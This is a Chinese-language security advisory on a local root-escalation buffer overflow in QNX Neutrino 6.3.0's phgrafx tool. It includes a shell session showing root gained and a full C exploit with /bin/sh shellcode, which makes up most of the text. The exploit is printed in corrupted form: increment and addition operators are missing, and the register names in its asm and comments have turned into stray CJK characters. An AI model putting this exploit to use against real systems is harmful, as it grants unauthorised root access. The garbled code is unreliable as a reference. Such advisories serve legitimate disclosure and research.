QNX Neutrino本地权限提升漏洞

发布日期：2005-11-29
更新日期：2005-11-29

受影响系统：

QNX Neutrino 6.3.0

描述：

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BUGTRAQ ID: 15619

QNX Neutrino是嵌入式设备的微内核实时操作系统。

QNX Neutrino的"phgrafx"工具中存在缓冲区溢出漏洞，恶意用户可以利用这个漏洞在本地获得权限提升。

例如：

qnx$ uname -a; id
QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
uid=6(deadbeef) gid=1(bin) groups=0(root),3(sys),4(adm),5(tty)
qnx$ gcc phex.c -o phex -W
qnx$ ./phex
shellcode length: 21
address: 0x8047a2c
Warning: can not find palette under '55°|ØHæ1°'.
# id
uid=6(deadbeef) gid=1(bin) euid=0(root) groups=0(root),3(sys),4(adm),5(tty)
#

<*来源：pasquale minervini （minervini@neuralnoise.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113332929220972&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*
* minervini@neuralnoise.com (c) 2005, all rights reserved.
* sample exploit for phgrafx on QNX 6.3.0 x86
*
* tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
*/

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>

#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif

#ifndef _RET_INIT
# define _RET_INIT (864)
#endif

/* thanks to my friend pi3 that suggested me to call a libc
* function to make the shellcode way shorter than it was */

char scode[] = "\x31\xc0" // xor 陎,陎
"\x50" // push 陎
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x54" // push %esp
"\xbb\xEF\xBE\xAD\xDE" // mov $0xDEADBEEF,離
"\xff\xd3"; // call *離

unsigned long get_sp (void) {
__asm__ ("movl %esp, 陎");
}

int main (int argc, char **argv) {

int i, slen = strlen (scode), offset = 0;
long ptr, *lptr, addr;
char *buf;
void *handle;

handle = dlopen (NULL, RTLD_LAZY);
addr = (long) dlsym (handle, "system");

for (i = 0; i < 4; i ) {
char temp = (*((char *) &addr i) & 0xff);
if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
puts
("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it \
probably won't work since"
" the application seems to truncate those bytes. BTW you can rely on functions \
like exec*(), spawn*()" " or MsgSend*() to get this working.\n"
"more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/") \
; return (-1);
}
}

memcpy((char *)&scode 0xf, &addr, 4);

if (argc > 1)
offset = strtoul(argv[1], NULL, 0);

if (!(buf = (char *) malloc(1032)))
err(1, "malloc()");

memset(buf, 0, 1032);

for (i = 0; i < (_RET_INIT - slen); i )
buf[i] = 'A'; // inc 靫

printf("shellcode length: %d\n", slen);

for (i = (_RET_INIT - slen); i < _RET_INIT; i )
buf[i] = scode[i - (_RET_INIT - slen)];

lptr = (long *) (buf _RET_INIT);

printf("address: 0x%lx\n", ptr = (get_sp () - offset));

for (i = 0; i < ((1024 - _RET_INIT) / 4); i )
*(lptr i) = (int) ptr;

execl(_PATH, "phgrafx", buf, NULL);

return (0);
}

建议：

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厂商补丁：

QNX
---
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.qnx.com/

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